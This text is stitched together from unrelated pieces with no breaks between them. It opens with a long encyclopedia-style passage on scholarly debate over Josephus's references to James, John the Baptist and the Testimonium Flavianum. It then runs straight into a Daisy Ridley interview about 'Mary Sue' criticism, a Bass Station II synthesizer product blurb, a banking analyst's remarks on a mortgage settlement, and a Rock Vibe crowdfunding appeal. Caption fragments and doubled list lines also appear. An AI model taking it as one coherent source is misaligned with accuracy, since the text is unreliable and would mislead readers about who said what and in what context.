The marriage of Herod Antipas and Herodias is mentioned both in Josephus and in the gospels, and scholars consider Josephus as a key connection in establishing the approximate chronology of specific episodes related to John the Baptist. However, although both the gospels and Josephus refer to Herod Antipas killing John the Baptist, they differ on the details and motives, e.g. whether this act was a consequence of the marriage of Herod Antipas and Herodias (as indicated in Matthew 14:4, Mark 6:18), or a pre-emptive measure by Herod which possibly took place before the marriage to quell a possible uprising based on the remarks of John, as Josephus suggests in Antiquities 18.5.2.[86]
Louis Feldman has stated that there is "no necessary contradiction between Josephus and the gospels as to the reason why John was put to death" in that the Christians chose to emphasize the moral charges while Josephus emphasized the political fears that John stirred in Herod.[87]
Josephus stated (Antiquities 18.5.2) that the AD 36 defeat of Herod Antipas in the conflicts with Aretas IV of Nabatea was widely considered by the Jews of the time as misfortune brought about by Herod's unjust execution of John the Baptist.[86][88][89] The approximate dates presented by Josephus are in concordance with other historical records, and most scholars view the variation between the motive presented by Josephus and the New Testament accounts is seen as an indication that the Josephus passage is not a Christian interpolation.
Arguments challenging the authenticity of the three passages [ edit ]
The James passage [ edit ]
A comparative argument made against the authenticity of the James passage by scholars such as Tessa Rajak is that the passage has a negative tone regarding the High Priest Ananus, presenting him as impulsive while in the Jewish Wars Josephus presents a positive view of Ananus and portrays him as prudent.
A textual argument against the authenticity of the James passage is that the use of the term "Christos" there seems unusual for Josephus. An argument based on the flow of the text in the document is that given that the mention of Jesus appears in the Antiquities before that of the John the Baptist a Christian interpolator may have inserted it to place Jesus in the text before John. A further argument against the authenticity of the James passage is that it would have read well even without a reference to Jesus. New Testament scholar Robert M. Price speculates that Josephus may have considered James a fraternal brother rather than a sibling.[92]
Some of the arguments for and against the authenticity of the James passage revolve around the similarities and differences between the accounts of Josephus, Origen, Eusebius and the Christian accounts. Although Josephus' account of the method of death of James differs from that of the Christian tradition, this is seen as an indication that the Josephus account is not a Christian interpolation.[93]
John Painter states that Origen expresses surprise that given that a Josephus who disbelieves in Jesus as Christ (Commentary on Matthew Book X, Chapter 17) should write respectfully of James, his brother. However, according to Painter unlike the Testimonium this issue has not generated a great deal of controversy, although viewed as a potential reason for doubting authenticity.
An issue that is subject to more debate is that in Commentary on Matthew (Book X, Chapter 17), Origen cites Josephus as stating the death of James had brought a wrath upon those who had killed him, and that his death was the cause of the destruction of Jerusalem.[95] At the end of Book II, Chapter XIII Origen disagrees with Josephus' placement of blame for the destruction of Jerusalem on the death of James, and states that it was due to the death of Jesus, not James.
In Book II, Chapter 23.20 of his Church History, Eusebius mentions Josephus' reference to the death of James and the sufferings that befell those who killed him. In this reference Eusebius writes: “These things happened to the Jews to avenge James the Just, who was a brother of Jesus, that is called the Christ. For the Jews slew him, although he was a most just man.” However, this statement does not appear in the extant manuscripts of Josephus. Moreover, in Book III, ch. 11 of his Church History Eusebius states that the conquest of Jerusalem immediately followed the martyrdom of James setting the martyrdom at c70 CE rather than the c62 CE given by Josephus.[96][97] Painter states that whether the Book II, Chapter 23.20 statement by Eusebius is an interpolation remains an open question.
Eusebius does not acknowledge Origen as one of his sources for the reference to James in Josephus. However, John Painter states that placing the blame for the siege of Jerusalem on the death of James is perhaps an early Christian invention that predates both Origen and Eusebius and that it likely existed in the traditions to which they were both exposed. Painter states that it is likely that Eusebius may have obtained his explanation of the siege of Jerusalem from Origen.
G. A. Wells has stated that the fact that Origen seems to have read something different about the death of James in Josephus than what there is now, suggests some tampering with the James passage seen by Origen.[85] Wells suggests that the interpolation seen by Origen may not have survived in the extant Josephus manuscripts, but that it opens the possibility that there may have been other interpolations in Josephus' writings.[85] Wells further states that differences between the Josephus account and those of Hegesippus and Clement of Alexandria may point to interpolations in the James passage.[85]
Richard Carrier argues that the words "the one called Christ" likely resulted from the accidental insertion of a marginal note added by some unknown reader. Carrier proposes that the original text referred to a brother named James of the high priest Jesus ben Damneus mentioned in the same narrative. James (the brother of Jesus) is executed by Ananus. The Jews get angry at this. Complaints and demands are made. The King removes Ananus from being High Priest. Jesus ben Damneus is then made high priest.
John the Baptist [ edit ]
Scholars such as Claudia Setzer have noted the differences between the rationale for the death of John the Baptist presented by Josephus, and the theological variations (e.g. whether immersion in water can result in the forgiveness of sins, etc.) and the New Testament accounts.[99] However, these differences are usually seen as indications of the lack of tampering, given that an interpolator would have made the accounts similar.[100]
Claire Rothschild has stated that the absence of Christian interpolations in the Josephus passage on John the Baptist can not by itself be used as an argument for its authenticity, but is merely an indication of the lack of tampering.[101]
Testimonium Flavianum [ edit ]
The Testimonium has been the subject of a great deal of research and debate among scholars, being one of the most discussed passages among all antiquities. Louis Feldman has stated that in the period from 1937 to 1980 at least 87 articles had appeared on the topic, the overwhelming majority of which questioned the total or partial authenticity of the Testimonium.[103] While early scholars considered the Testimonium to be a total forgery, the majority of modern scholars consider it partially authentic, despite some clear Christian interpolations in the text.[104][105]
The arguments surrounding the authenticity of the Testimonium fall into two categories: internal arguments that rely on textual analysis and compare the passage with the rest of Josephus' work; and external arguments, that consider the wider cultural and historical context.[106] Some of the external arguments are "arguments from silence" that question the authenticity of the entire passage not for what it says, but due to lack of references to it among other ancient sources.
The external analyses of the Testimonium have even used computer-based methods, e.g. the matching of the text of the Testimonium with the Gospel of Luke performed by Gary Goldberg in 1995.[108] Goldberg found some partial matches between the Testimonium and Luke 24:19–21, 26–27 stating "the Emmaus narrative more closely resembles the Testimonium in its phrase-by-phrase outline of content and order than any other known text of comparable age."[108] Goldberg's analyses suggested three possibilities, one that the matches were random, or that the Testimonium was a Christian interpolation based on Luke, and finally that both the Testimonium and Luke were based on the same sources.[108]
Internal arguments [ edit ]
Antiquities An 1879 copy of the
One of the key internal arguments against the total authenticity of the Testimonium is that the clear inclusion of Christian phraseology strongly indicates the presence of some interpolations. For instance, the phrases "if it be lawful to call him a man" suggests that Jesus was more than human and is likely a Christian interpolation. Some scholars have attempted to reconstruct the original Testimonium, but others contend that attempts to discriminate the passage into Josephan and non-Josephan elements are inherently circular.
Andreas Köstenberger states that the fact that the 10th-century Arabic version of the Testimonium (discovered in the 1970s) lacks distinct Christian terminology while sharing the essential elements of the passage indicates that the Greek Testimonium has been subject to interpolation.
Another example of the textual arguments against the Testimonium is that it uses the Greek term poietes to mean "doer" (as part of the phrase "doer of wonderful works") but elsewhere in his works, Josephus only uses the term poietes to mean "poet," whereas this use of "poietes" seems consistent with the Greek of Eusebius.[111]
The concordance of the language used in the Testimonium, its flow within the text and its length have formed components of the internal arguments against its authenticity, e.g. that the brief and compact character of the Testimonium stands in marked contrast to Josephus' more extensive accounts presented elsewhere in his works.[112] For example, Josephus' description of the death of John the Baptist includes consideration of his virtues, the theology associated with his baptismal practices, his oratorical skills, his influence, the circumstances of his death, and the belief that the destruction of Herod's army was a divine punishment for Herod's slaughter of John.[113] G. A. Wells has argued against the authenticity of the Testimonium, stating that the passage is noticeably shorter and more cursory than such notices generally used by Josephus in the Antiquities, and that had it been authentic, it would have included more details and a longer introduction.[112]
A further internal argument against the Testimonium's authenticity is the context of the passage in the Antiquities of the Jews. Some scholars argue that the passage is an intrusion into the progression of Josephus' text at the point in which it appears in the Antiquities and breaks the thread of the narrative.[112]
External arguments [ edit ]
Origen's statement in his Commentary on Matthew (Book X, Chapter 17) that Josephus "did not accept Jesus as Christ", is usually seen as a confirmation of the generally accepted fact that Josephus did not believe Jesus to be the Messiah.[115] This forms a key external argument against the total authenticity of the Testimonium in that Josephus, as a Jew, would not have claimed Jesus as the Messiah, and the reference to "he was Christ" in the Testimonium must be a Christian interpolation. Based on this observation alone, Paul L. Maier calls the case for the total authenticity of the Testimonium "hopeless". Almost all modern scholars reject the total authenticity of the Testimonium, while the majority of scholars still hold that it includes an authentic kernel.
A different set of external arguments against the authenticity of the Testimonium (either partial or total) are "arguments from silence", e.g. that although twelve Christian authors refer to Josephus before Eusebius in 324 AD, none mentions the Testimonium.[117] Given earlier debates by Christian authors about the existence of Jesus, e.g. in Justin Martyr's 2nd century Dialogue with Trypho, it would have been expected that the passage from Josephus would have been used as a component of the arguments.
Even after Eusebius' 324 AD reference, it is not until Jerome's De Viris Illustribus (c. 392 AD) that the passage from Josephus is referenced again, even though the Testimonium's reference to Jesus would seem appropriate in the works of many intervening patristic authors.[117] Scholars also point to the silence of Photios as late as the 9th century, and the fact that he does not mention the Testimonium at all in his broad review of Josephus.[120]
A separate argument from silence against the total or partial authenticity of the Testimonium is that a 5th or 6th century table of contents of Josephus (although selective) makes no mention of it.
A final argument from silence relates to Josephus' own writings and questions the authenticity of Testimonium based on the fact that it has no parallel in the Jewish War, which includes a discussion of Pontius Pilate at about the same level of detail.
In The Witness To The Historicity of Jesus, Arthur Drews stated that "in the sixteenth century Vossius had a manuscript of the text of Josephus in which there was not a word about Jesus."[122]
Timing of the interpolations [ edit ]
Kenneth Olson has argued that the entire Testimonium must have been forged by Eusebius himself, basing his argument on textual similarities between the Testimonium and Eusebius' writings in the Demonstrations of the Gospels.
Zvi Baras, on the other hand, believes that the Testimonium was subject to interpolation before Eusebius. Baras believes that Origen had seen the original Testimonium but that the Testimonium seen by Origen had no negative reference to Jesus, else Origen would have reacted against it. Baras states that the interpolation in the Testimonium took place between Origen and Eusebius.
Paul Maier states that a comparison of Eusebius' reference with the 10th-century Arabic version of the Testimonium due to Agapius of Hierapolis indicates that the Christian interpolation present in the Testimonium must have come early, before Eusebius. Robert E. Van Voorst also states that the interpolation likely took place some time between Origen and Eusebius.
Arguments in favor of the authenticity of the three passages [ edit ]
The James Passage [ edit ]
Louis Feldman states that the authenticity of the Josephus passage on James has been "almost universally acknowledged."[123] Feldman states that this passage, above others, indicates that Josephus did say something about Jesus.[124] Feldman states that it would make no sense for Origen to show amazement that Josephus did not acknowledge Jesus as Christ (Book X, Chapter 17), if Josephus had not referred to Jesus at all. Paul L. Maier states that most scholars agree with Feldman's assessment that "few have doubted the genuineness of this passage" Zvi Baras also states that most modern scholars consider the James passage to be authentic.
According to Robert E. Van Voorst the overwhelming majority of scholars consider both the reference to "the brother of Jesus called Christ" and the entire passage that includes it as authentic. Van Voorst states that the James passage fits well in the context in the Antiquities and an indication for its authenticity is the lack of the laudatory language that a Christian interpolator would have used to refer to Jesus as "the Lord", or a similar term. Van Voorst also states that the use of a neutral term "called Christ" which neither denies nor affirms Jesus as the Messiah points to authenticity, and indicates that Josephus used it to distinguish Jesus from the many other people called Jesus at the time, in the same way that James is distinguished, given that it was also a common name.
Richard Bauckham states that although a few scholars have questioned the James passage, "the vast majority have considered it to be authentic", and that among the several accounts of the death of James the account in Josephus is generally considered to be historically the most reliable.[127] Bauckham states that the method of killing James by stoning, and the description provided by Josephus via the assembly of the Sanhedrin of judges are consistent with the policies of the Temple authorities towards the early Christian Church at the time.[128]
Andreas Köstenberger considers the James passage to be authentic and states that the James passage attests to the existence of Jesus as a historical person, and that his followers considered him the Messiah.(Köstenberger pages 104–105) Köstenberger states that the statement by Josephus that some people recognized Jesus as the Messiah is consistent with the grammar of Josephus elsewhere but does not imply that Josephus himself considered Jesus the Messiah.(Köstenberger pages 104–105) Köstenberger concurs with John Meier that it is highly unlikely for the passage to be a Christian interpolation given that in New Testament texts James is referred to as the "brother of the Lord" rather than the "brother of Jesus", and that a Christian interpolator would have provided a more detailed account at that point.(Köstenberger pages 104–105)
Claudia Setzer states that few have questioned the authenticity of the James passage, partly based on the observation that a Christian interpolator would have provided more praise for James.[129] Setzer states that the passage indicates that Josephus, a Jewish historian writing towards the end of the first century, could use a neutral tone towards Christians, with some tones of sympathy, implying that they may be worthy of Roman protection.[129]
John Painter states that nothing in the James passage looks suspiciously like a Christian interpolation and that the account can be accepted as historical.(Painter pages 139–142). Painter discusses the role of Ananus and the background to the passage, and states that after being deposed as High Priest for killing James and being replaced by Jesus the son of Damnaeus, Ananus had maintained his influence within Jerusalem through bribery.(Painter page 136) Painter points out that as described in the Antiquities of the Jews (Book 20, Chapter 9, 2) Ananus was bribing both Albinus and Jesus the son of Damnaeus so that his men could take the tithes of other priests outside Jerusalem, to the point that some of whom then starved to death.(Painter pages 139–142). Philip Carrington states that there is no reason to question the authenticity of the Josephus passage on James, and elaborates the background by stating that Ananus continued to remain a power within the Jewish circles at the time even after being deposed, and that it is likely that the charges brought against James by Ananus were not only because of his Christian association but because he objected to the oppressive policies against the poor; hence explaining the later indignation of the more moderate Jewish leaders.[130]
John the Baptist [ edit ]
Craig Evans states that almost all modern scholars consider the Josephus passage on John to be authentic in its entirety, and that what Josephus states about John fits well both with the general depiction of John in the New Testament and within the historical context of the activities of other men, their preachings and their promises during that period.
Louis Feldman, who believes the Josephus passage on John is authentic, states that Christian interpolators would have been very unlikely to have devoted almost twice as much space to John (163 words) as to Jesus (89 words).[100] Feldman also states that a Christian interpolator would have likely altered Josephus' passage about John the Baptist to make the circumstances of the death of John become similar to the New Testament, and to indicate that John was a forerunner of Jesus. [124]
James Dunn states that the accounts of Josephus and the New Testament regarding John the Baptist are closer than they may appear at a first reading. Dunn states that Josephus positions John as a righteous preacher (dikaiosyne) who encourages his followers to practice "righteousness towards one another, and piety towards God" and that Mark 6:20 similarly calls John "a righteous (dikaios) and holy man". Dunn states that Antipas likely saw John as a figure whose ascetic lifestyle and calls for moral reform could provoke a popular uprising on moral grounds, as both Josephus and the New Testament suggest.
Justin Meggitt states that there are fundamental similarities between the Josephus' portrayal of John the Baptist and the New Testament narrative in that in both accounts John is positioned as a preacher of morality, not as someone who had challenged the political authority of Herod Antipas. W. E. Nunnally states that the John passage is considered authentic and that Josephus' emphasis on the egalitarian nature of John's teachings fit well into the biblical and historical traditions.[133]
Testimonium Flavianum [ edit ]
The three perspectives [ edit ]
The complete works of Josephus, 1582
Paul L. Maier, and separately Zvi Baras state that scholars generally fall into three camps over the authenticity of the Testimonium:
It is entirely authentic It is entirely a Christian forgery It contains Christian interpolations in what was Josephus' authentic material about Jesus.
Paul Maier states that the first case is generally seen as hopeless given that as a Jew, Josephus would not have claimed Jesus as the Messiah, and that the second option is hardly tenable given the presence of the reference in all Greek manuscripts; thus a large majority of modern scholars accept the third alternative, i.e., partial authenticity. Baras adds that the third position is more plausible because it accepts parts of the passage as genuine, but discounts other parts as interpolations. Craig Evans (and separately Robert Van Voorst) state that most modern scholars accept the position that the Testimonium is partially authentic, had a kernel with an authentic reference to Jesus, and that the analysis of its content and style support this conclusion.[135]
While before the advent of literary criticism most scholars considered the Testimonium entirely authentic, thereafter the number of supporters of full authenticity declined. However, most scholars now accept partial authenticity and many attempt to reconstruct their own version of the authentic kernel, and scholars such as Geza Vermes have argued that the overall characterizations of Jesus in the Testimonium are in accord with the style and approach of Josephus. [137][138][139][140]
Origen and Eusebius [ edit ]
Lester L. Grabbe, on the Testimonium, notes that in two works (Commentary on Matthew 10.17 and Contra Celsum 1.47) Origen had actually complained that Josephus had mentioned Jesus while at the same time not recognizing Jesus as the messiah and this provided an early independent support of the partial Testimonium in the neutral form.[65] Summarizing speculative arguments from two other writers, Louis Feldman claimed that "The most likely assumption is, then, that the 'Testimonium' as read by Origen contained historical data in a neutral form.".
Zvi Baras, in a book edited by Feldman, also assumes that Origen had seen a version of the Testimonium that included no interpolations. Baras asserts that a Testimonium seen by Origen must have had a neutral tone, and included no derogatory references towards Christians, and hence required no reaction from Origen. Baras claims that the neutral tone of the Testimonium was then modified between the time of Origen and Eusebius, though Baras gives no arguments why this should be more likely than the hypothesis that the Testimonium originated in the Eusebius passage where it first appears.
Arguments in favor of partial authenticity [ edit ]
Antiquities c. 1200 A copy of Josephus'c. 1200
Some arguments in favor of partial authenticity rely on the language used in the Testimonium, e.g., that the passage calls Jesus "a wise man" which is not laudatory enough for an interpolator, neither is the reference to "amazing deeds". According to Van Voorst, the statement "those that loved him at the first did not forsake him" has the characteristics of Josephus' writing and points to the continuation of Christianity. Van Voorst states that this sentence argues for the continuation of Christianity based on the love for its leader; not the alleged appearances after his death. Van Voorst states that it is hard to imagine that the phrase "receive the truth with pleasure" used in the Testimonium is the work of a Christian interpolator, for Christian writers generally avoid the use of the word "pleasure" (ἡδονή in Greek) in a positive sense due to its association with hedonism.
Andreas Köstenberger states that there is strong evidence that parts of the Testimonium are authentic, and that the comparison of the Greek versions with the Arabic version (discovered by Shlomo Pines in the 1970s) provides an indication of the original Josephan text. Köstenberger states that many modern scholars believe that the Arabic version reflects the state of Josephus' original text before it was subject to Christian interpolation. Köstenberger adds that the passage includes vocabulary that is typically Josephan and the style is consistent with that of Josephus. Köstenberger (and separately Van Voorst) state that the Josephus' reference to the large number of followers of Jesus during his public ministry is unlikely to have been due to a Christian scribe familiar with the New Testament accounts, and is hence unlikely to be an interpolation.
Regarding the arguments from silence about the scarcity of references to Josephus prior to Origen and Eusebius, Louis Feldman states that Josephus was ignored by early Christian writers before Origen because they were not sufficiently learned, and not sophisticated enough in historical matters.
Chilton and Evans state that the general acceptance of the authenticity of the James passage lends support to the partial authenticity of the Testimonium in that the brief reference to "Jesus, who was called Christ" in Antiquities XX, 9, 1 "clearly implies a prior reference" and that "in all probability the Testimonium is that prior reference". Louis Feldman understands the phrase about Jesus in the death of James passage as "the aforementioned Christ", thus relating that passage to the Testimonium, which he views as the first reference to Jesus in the works on Josephus. Paul L. Maier concurs with the analysis of Feldman and states that Josephus' first reference was the Testimonium. Geza Vermes also considers the "who was called Christ" reference in the James passage as the second reference to Jesus in the Antiquities and states that the first reference is likely to be the Testimonium.[139][145]
Claudia Setzer, who believes in the authenticity of a kernel in the Testimonium, states that while "tribe is an odd way to describe Christians" it does not necessarily have negative connotations.[146] Setzer argues for the existence of an authentic kernel because "the style and vocabulary are Josephan" and specific parts (e.g. the use of "wise man") are not what one would expect from a Christian forger.[146] Setzer argues that the Testimonium indicates that Josephus had heard of Jesus and the basic elements surrounding his death, and that he saw Jesus as primarily a miracle worker.[146] Van Voorst also states that calling Christians a "tribe" would have been very out of character for a Christian scribe, while Josephus has used it to refer both to Jewish and Christian groups.
Alice Whealey, who supports the partial authenticity of the Testimonium, has rejected the arguments by Kenneth Olson regarding the total fabrication of the Testimonium by Eusebius, stating that Olson's analysis includes inaccurate readings of both the works of Josephus and Eusebius, as well as logical flaws in his argument.[147]
Craig Evans states that an argument in favor of the partial authenticity of the Testimonium is that the passage does not exaggerate the role played by the Jewish leaders in the death of Jesus.[135] According to Evans, if the passage had been an interpolation after the emergence of conflicts between Jews and Christians, it would have had a more accusative tone, but in its current form reads as one would expect it to read for a passage composed by Josephus towards the end of the first century.[135]
Geza Vermes believes in the partial authenticity of the Testimonium and the existence of a reference to Jesus within it.[137][139] Vermes states that if the Testimonium had been the work of a Christian forger, it would have placed blame on the Jewish leaders, but as is it is "perfectly in line" with the attitude of Josephus towards Pilate.[139] Vermes also states that the detached depiction of the followers of Jesus is not the work of a Christian interpolator.[139] Vermes calls the Jesus notice in the Testimonium a "veritable tour de force" in which Josephus plays the role of a neutral witness.[139]
Steve Mason has argued for partial authenticity for the "Testimonium" because no other parts of any of the works of Josephus have been contested to have had scribal tempering, Christian copyists were usually conservative when transmitting texts in general, and seeing that the works of Philo were unaltered by Christian scribes through the centuries strongly support that it is very unlikely that the passage was invented out of thin air by a Christian scribe. Philo often wrote in a way that was favorable to Christian ideas and yet no Christian scribes took advantage of that to insert Jesus or Christian beliefs into Philo's text.[148]
Reconstruction of an authentic kernel [ edit ]
The Works of Josephus, 1879
Robert Van Voorst states that most modern scholars believe that the Testimonium is partially authentic, and has a reference to Jesus. However, he states that scholars are divided on the tone of the original reference and while some scholars believe that it had a negative tone which was softened by Christian interpolators, others believe that it had a neutral tone, in keeping with the style and approach of Josephus regarding the issue. According to Van Voorst, scholars who support the negative reconstruction contend that the reference read something like "source of further trouble in Jesus a wise man" and that it stated "he was the so-called Christ". Van Voorst states that most scholars support a neutral reconstruction which states "Around this time lived Jesus, a wise man" and includes no reference to "he was the Christ". Van Voorst states that if the original references to Jesus had had a negative tone, the Christian scribes would have likely deleted it entirely. Van Voorst also states that the neutral reconstruction fits better with the Arabic Testimonium discovered by Pines in the 1970s. Van Voorst states that the neutral reconstruction is supported by the majority of scholars because it involves far less conjectural wording and fits better with the style of Josephus.
Craig Blomberg states that if the three elements "lawful to call him a man", "he was the Christ" and the reference to the resurrection are removed from the Testimonium the rest of the passage flows smoothly within the context, fits the style of Josephus and is likely to be authentic.[149] Blomberg adds that after the removal of these three elements (which are likely interpolations) from the Greek versions the remaining passage fits well with the Arabic version and supports the authenticity of the reference to the execution of Jesus by Pilate.[149] Joel B. Green also states that the removal of some elements from the Testimonium produces a passage that is likely to be an authentic reference to the death of Jesus.[150]
James Dunn states that the works of Josephus include two separate references to Jesus and although there are some interpolations in the Testimonium, there is "broad consensus" among scholars regarding the nature of an authentic reference to Jesus in the Testimonium and what the passage would look like without the interpolations. Based on this reconstruction, it is likely the original passage read:[150]
Now there was about this time Jesus, a wise man. For he was a doer of startling deeds, a teacher of such men as receive the truth with pleasure. And he gained a following both among many Jews and many of Greek origin. And when Pilate, at the suggestion of the principal men amongst us, condemned him to the cross, those that loved him at the first did not forsake him. And the tribe of Christians, so named from him, are not extinct at this day.
In this passage, which is based on Meier's reconstruction, Jesus is called a "wise man", but "lawful to call him a man" and "he was the Christ" are removed, as is the reference to the resurrection.[150]
Geza Vermes has performed a detailed analysis of the Testimonium and modified it to remove what he considers the interpolations.[137][139] In Vermes' reconstruction "there was Jesus a wise man" is retained, but the reference to "he was the Christ" is changed to "he was called the Christ" and the resurrection reference is omitted.[139] Vermes states that the Testimonium provides Josephus' authentic portrayal of Jesus, depicting him as a wise teacher and miracle worker with an enthusiastic group of followers who remained faithful to him after his crucifixion by Pilate, up to the time of Josephus.[139]
The three passages in relation to The Jewish Wars [ edit ]
Louis Feldman states that it is significant that the passages on James, John and the Testimonium are found in the Antiquities and not in the Jewish Wars, but provides three explanations for their absence from the Jewish Wars. One explanation is that the Antiquities covers the time period involved at a greater length than the Jewish Wars. The second explanation is that during the gap between the writing of the Jewish Wars (c. 70 AD) and Antiquities (after 90 AD) Christians had become more important in Rome and were hence given attention in the Antiquities. Another explanation is that the passages were added to the Antiquities to highlight the power of the Pharisees, but he considers the last explanation less likely than the others.
One of the arguments against the authenticity of the James passage has been that in the Jewish Wars Josephus portrays the High Priest Ananus in a positive manner, while in the Antiquities he writes of Ananus in a negative tone. Louis Feldman rejects these arguments against the authenticity of the James passage and states that in several other unrelated cases the Jewish War also differs from the Antiquities, and that an interpolator would have made the two accounts correspond more closely to each other, not make them differ.
The twenty-year gap between the writing of the Jewish Wars and the Antiquities has also been used to explain some of the differences in tone between them.[151] Clemens Thoma provides an explanation for this based on the observation that Josephus may have learned of the details of the actions of Annanus in the twenty-year gap between the writing of the Jewish Wars and the Antiquities, and thus avoided a positive tone when writing of Ananus in the Antiquities.[151]
John Painter states that the difference in the context for the Jewish Wars and the Antiquities may also account for some of the differences in tone between them, e.g. when writing of Ananus in a positive tone in the Jewish Wars the context was Ananus' prudence in avoiding a war and hence Josephus considered that a positive aspect. However, when writing in the Antiquities about the actions of Ananus which resulted in his demotion from the High Priesthood, the context required the manifestation of a negative aspect of Ananus' character.
See also [ edit ]
The term has its roots in fan fiction, where it’s usually used to describe a character that’s just thinly-veiled wish fulfillment, or the author inserting a perfect version of themself into a world they love. Over time, it’s evolved, and some Star Wars fans decried Rey as a Mary Sue, arguing that she was too skilled and too perfect to be a realistic Star Wars character.
Now, Ridley herself is weighing in. The actress sat down with MTV News’ “Happy Sad Confused” podcast to talk about narrating and executive producing her new documentary The Eagle Huntress, which follows a young Kazakh girl named Aisholpan, who pursues the traditionally male field of eagle hunting. Ridley drew parallels between Aisholpan and Rey, saying that she was initially “confused” by the accusations that Rey was a Mary Sue.
“The Mary Sue thing in itself is sexist because it’s the name of a woman,” Ridley said. “Everyone was saying that Luke had the exact same [capabilities]. I think Rey is incredible vulnerable, and nothing she’s doing is for the greater good. She’s just doing what she thinks is the right thing. And she doesn’t want to do some of it, but she feels compelled to do it. So for me, I was just confused.”
As far as what Rey may be doing next in Episode VIII, Ridley kept tight-lipped, but she did talk about how much she loves newcomer Kelly Marie Tran, who plays a “crucial role,” and how it’s different acting opposite Mark Hamill instead of Harrison Ford.
“They’re very uniquely different human beings,” she said. “It was very different. I don’t know how — just different energies. They’ve lived different lives, and they’re just different people.”
Bass Station II is an analogue mono-synth based on the classic original Bass Station but re-worked for the 21st century. It has two filters, two oscillators plus a third sub-oscillator, patch save and a fully analogue effects section. Add a step sequencer, arpeggiator, full sized keys and a powerful modulation section and you have the makings of a synth that is built for bass, but capable of so much more.
Bass Station II marks Novation's 21st birthday!
What is it?
Bass Station II is an analogue mono-synth with a talent for bass, but a sound-engine that is versatile enough to kick out sharp leads and crisp arpeggios. It brings the best elements of the original Bass Station into a brand new design with re-worked modulation, effects, filters and more; like the Bass Station, but a much much bigger sound.
The signal path is pure analogue - including the effects section. The hardware has been laid out in modules with dedicated pots, switches, sliders and buttons for all major parameters. Critically, you can store and recall patches on Bass Station II. It comes with 64 killer factory presets, space for 64 of your own sounds on the hardware, and you can store more on your computer.
The key-mech consists of 25 full sized keys that are velocity sensitive with assignable aftertouch. It has been developed as a ‘synth-action’ keyboard, where each key is individually sprung so it is light to the touch and highly responsive to the synth engine. Bass Station II is a fully class compliant MIDI device with MIDI I/O on 5 pin din ports – for connecting to other MIDI outboard – and with your computer over USB. You can even connect an external instrument and run it through Bass Station II's analogue filter and effects.
Key Features
Analogue synth: brand new version of the classic Bass Station
Bass Station II has a pure analogue audio signal path, reviving the spirit of the original Bass Station with an all-new design optimised for bass.
Two distinct analogue filters A brand new “Acid” filter joins the “Classic” original Bass Station filter -(“Classic” switches between low, hi and band pass with 12 and 24dB slopes).
Load and save patches
Bass Station II ships with 64 factory patches and a further 64 user slots. Patch dump enables you to archive and swap sounds.
Pattern-based Step Sequencer and Arpeggiator
Bass Station II has an arpeggiator with a programmable step sequencer that enables you to store and call up patterns and quickly sketch-out ideas.
Dedicated Tweakable Controls
Analogue synth layout includes dedicated controls for all major parameters enabling instant hands-on control of the sound engine.
Two Oscillators plus an additional Sub Oscillator
Bass Station II has two sync-able, tune-able oscillators with four selectable waveforms, plus a third sub-oscillator for generating enormous bass sounds.
Analogue effects section
Bass Station II includes fully analogue distortion and filter-modulation effects and a separate filter overdrive to add an aggressive, crunchy sound-quality.
Analogue effects section Flexible modulation featuring 2 Envelopes and 2 LFOs
LFO waveforms include triangle, sawtooth, square and sample & hold. Two ADSR envelopes are available for filter, pitch and pulse width modulation.
MIDI I/O and USB connectivity
Bass Station II can be connected to your music software as well as your MIDI compatible hardware.
"If you're going to do something which is going to reduce the value of existing homes where people are making their payments, every American should stop making his payments on his mortgages, send a letter to the Attorney General in his state and say 'I qualify to have my principal reduced because I'm not going to make any more payments on my house,'" Bove said.
The banking analyst also said the agreement, which is expected to be around $26 billion and could increase if more banks join, will hurt the U.S. economy rather than stimulate it.
"These people were not making payments on these houses in the first place and, therefore, they're not getting the new flow of cash ... they're not getting anything other than the government has decided to pay everyone who cheated on their mortgages 2,000 bucks, right. The second thing is, you are going to be reducing the prices of a lot of houses in the United States where payments are being made because the house next door is seeing the principal balance on the mortgage taken down," he explained.
"This is not a stimulus to the United States economy. It depresses the United States economy."
As of right now, Bank of America, JPMorgan Chase, Wells Fargo, Citi and Ally Financial are all expected to be part of the mortgage settlement.
Bove said he does not expect a major impact on earnings.
"Most of the big banks have set aside reserves [for] this payment. ... The bulk of the mortgages that are thrown into this agreement have already been written down and the principal has already been forgiven ... It's unlikely that there'll be a major earnings impact."
Rock Vibe makes it possible for blind and sighted gamers to play a Rock Band-like game on their computers. At the end of the project, several 2-player systems will be donated to schools and centers for the blind.
A little background historyIn 2008 I created Rock Vibe with 2 other colleagues as a school project at UC Santa Cruz. The original game allowed blind gamers to play a version of Rock Band on their PCs by responding to vibrations on their arms.
Rock Vibe tested well with its users and was successfully presented and published at two conferences, including ASSETS SIGACCESS 2009 held by the Association for Computing Machinery and Games Beyond Entertainment 2010 in Boston. Game testers and people who've experienced Rock Vibe at conferences say that they would like to see the game fully developed.
How you can helpToday, the project needs funding for R&D, so I can improve the software and hardware to make it more user friendly, which should take about 12 months to complete. The funding will be used as follows:
Find the best type of vibrating motors.
Figure out where the vibrating motors should be placed on the body when playing with the Rock Band 3 guitar and drum kit.
3 guitar and drum kit. Test different types of electronic wearables to find out what gamers like best, such as gloves, belts and vests.
Pay for custom PCB and enclosure manufacturing.
Purchase new tools and update old software.
Time. I work a lot and need to code every level manually.
Purchase and test more Rock Band instruments. I've tested the Standard 3 guitar and drums on a Mac so far. PS3 and XBox versions are needed.
instruments. I've tested the Standard 3 guitar and drums on a Mac so far. PS3 and XBox versions are needed. Travel with the game to different schools and centers for the blind to test the game and get more user feedback to make the ultimate Rock Vibe .
. Run LOTS and LOTS and LOTS of game tests with TONS of participants, sighted and blind.
Present the game at conferences.
Donate systems to schools, centers for the blind and families. Preferably, I'd like to install and demonstrate the game in local locations because that's more helpful than providing a manual.
Make Rock Vibe a 2-player game.
Why this project is importantOnce completed, this game will be the first of its kind to be available, and it will totally change the face of gaming! Today, there are no games like this for people who are blind, and many of the games that have been developed for them have no appeal to those who are sighted. Donating to this project will allow you to potentially be a part of a gaming revolution!
Final outputs of the project
A wearable electronic device that connects to a user's computer and allows the gamer to feel vibrations on her body when she needs to hit a key or drum on a Rock Band 3 instrument, MIDI controller or computer keyboard.
instrument, MIDI controller or computer keyboard. Rock Vibe software for Macs and PCs.
software for Macs and PCs. A library of song levels, but players bring the music. Players can also stream online music using YouTube and other services through Rock Vibe if they don't own the music (This feature is in development).
if they don't own the music (This feature is in development). Several full systems will be donated and installed at schools and centers for children who are blind. The number donated depends on the total amount of funding.
Your support is greatly appreciated!! And, you can also support Rock Vibe by spreading the word.
Song Restrictions
